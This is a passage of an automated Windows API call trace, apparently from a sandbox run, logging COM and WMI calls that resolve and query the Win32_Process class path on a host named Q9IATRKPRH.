wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0062.266] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0062.267] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0062.267] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0062.267] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0062.267] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0062.267] IUnknown:Release (This=0x111f638) returned 0x1 [0062.269] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bef8c80) returned 0x0 [0062.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8c80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0062.269] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8c80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x119b2a0) returned 0x0 [0062.269] WbemDefPath:IUnknown:Release (This=0x1bef8c80) returned 0x0 [0062.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b2a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x119b2a0) returned 0x0 [0062.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b2a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0062.270] WbemDefPath:IUnknown:AddRef (This=0x119b2a0) returned 0x3 [0062.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b2a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0062.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b2a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0062.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b2a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bef8ca0) returned 0x0 [0062.270] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8ca0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.270] WbemDefPath:IUnknown:Release (This=0x1bef8ca0) returned 0x3 [0062.270] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0062.270] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0062.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b2a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0062.270] WbemDefPath:IUnknown:Release (This=0x119b2a0) returned 0x2 [0062.270] WbemDefPath:IUnknown:Release (This=0x119b2a0) returned 0x1 [0062.270] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0062.270] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0062.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b2a0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x119b2a0) returned 0x0 [0062.270] WbemDefPath:IUnknown:AddRef (This=0x119b2a0) returned 0x3 [0062.270] WbemDefPath:IUnknown:Release (This=0x119b2a0) returned 0x2 [0062.270] WbemDefPath:IWbemPath:SetText (This=0x119b2a0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0062.271] IWbemClassObject:Get (in: This=0x1bef4730, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0062.271] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0062.271] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0062.271] IWbemClassObject:Get (in: This=0x1bef4730, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0062.271] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0062.271] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0062.271] IWbemClassObject:Get (in: This=0x1bef4730, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0062.271] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0062.272] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0062.272] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0062.272] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0062.272] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0062.272] IUnknown:Release (This=0x111f638) returned 0x1 [0062.274] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bef8e40) returned 0x0 [0062.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8e40, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0062.274] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8e40, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119b360) returned 0x0 [0062.274] WbemDefPath:IUnknown:Release (This=0x1bef8e40) returned 0x0 [0062.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119b360) returned 0x0 [0062.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0062.274] WbemDefPath:IUnknown:AddRef (This=0x119b360) returned 0x3 [0062.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0062.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0062.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bef8e80) returned 0x0 [0062.275] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8e80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.275] WbemDefPath:IUnknown:Release (This=0x1bef8e80) returned 0x3 [0062.275] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0062.275] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0062.275] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0062.275] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x2 [0062.275] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x1 [0062.275] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0062.275] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0062.275] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119b360) returned 0x0 [0062.275] WbemDefPath:IUnknown:AddRef (This=0x119b360) returned 0x3 [0062.275] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x2 [0062.275] WbemDefPath:IWbemPath:SetText (This=0x119b360, uMode=0x4, pszPath="") returned 0x0 [0062.275] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0062.275] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0062.275] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0062.275] IUnknown:Release (This=0x111f638) returned 0x1 [0062.277] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bef8e40) returned 0x0 [0062.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8e40, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0062.277] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8e40, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119b420) returned 0x0 [0062.277] WbemDefPath:IUnknown:Release (This=0x1bef8e40) returned 0x0 [0062.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119b420) returned 0x0 [0062.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0062.277] WbemDefPath:IUnknown:AddRef (This=0x119b420) returned 0x3 [0062.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0062.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0062.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bef8ec0) returned 0x0 [0062.278] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8ec0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.278] WbemDefPath:IUnknown:Release (This=0x1bef8ec0) returned 0x3 [0062.278] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0062.278] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0062.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0062.278] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x2 [0062.278] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x1 [0062.278] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0062.278] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0062.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119b420) returned 0x0 [0062.278] WbemDefPath:IUnknown:AddRef (This=0x119b420) returned 0x3 [0062.278] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x2 [0062.278] WbemDefPath:IWbemPath:SetText (This=0x119b420, uMode=0x4, pszPath="") returned 0x0 [0062.278] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b420, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0062.278] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b360, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0062.278] WbemDefPath:IWbemPath:GetClassName (in: This=0x119b420, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0062.278] WbemDefPath:IWbemPath:GetServer (in: This=0x119b420, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0062.278] WbemDefPath:IWbemPath:SetServer (This=0x119b420, Name="Q9IATRKPRH") returned 0x0 [0062.278] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0062.279] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0062.279] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0062.279] IUnknown:Release (This=0x111f638) returned 0x1 [0062.280] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf10ba0) returned 0x0 [0062.280] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf10ba0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0062.280] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf10ba0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119b4e0) returned 0x0 [0062.281] WbemDefPath:IUnknown:Release (This=0x1bf10ba0) returned 0x0 [0062.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119b4e0) returned 0x0 [0062.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0062.281] WbemDefPath:IUnknown:AddRef (This=0x119b4e0) returned 0x3 [0062.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0062.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0062.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf10be0) returned 0x0 [0062.281] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf10be0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 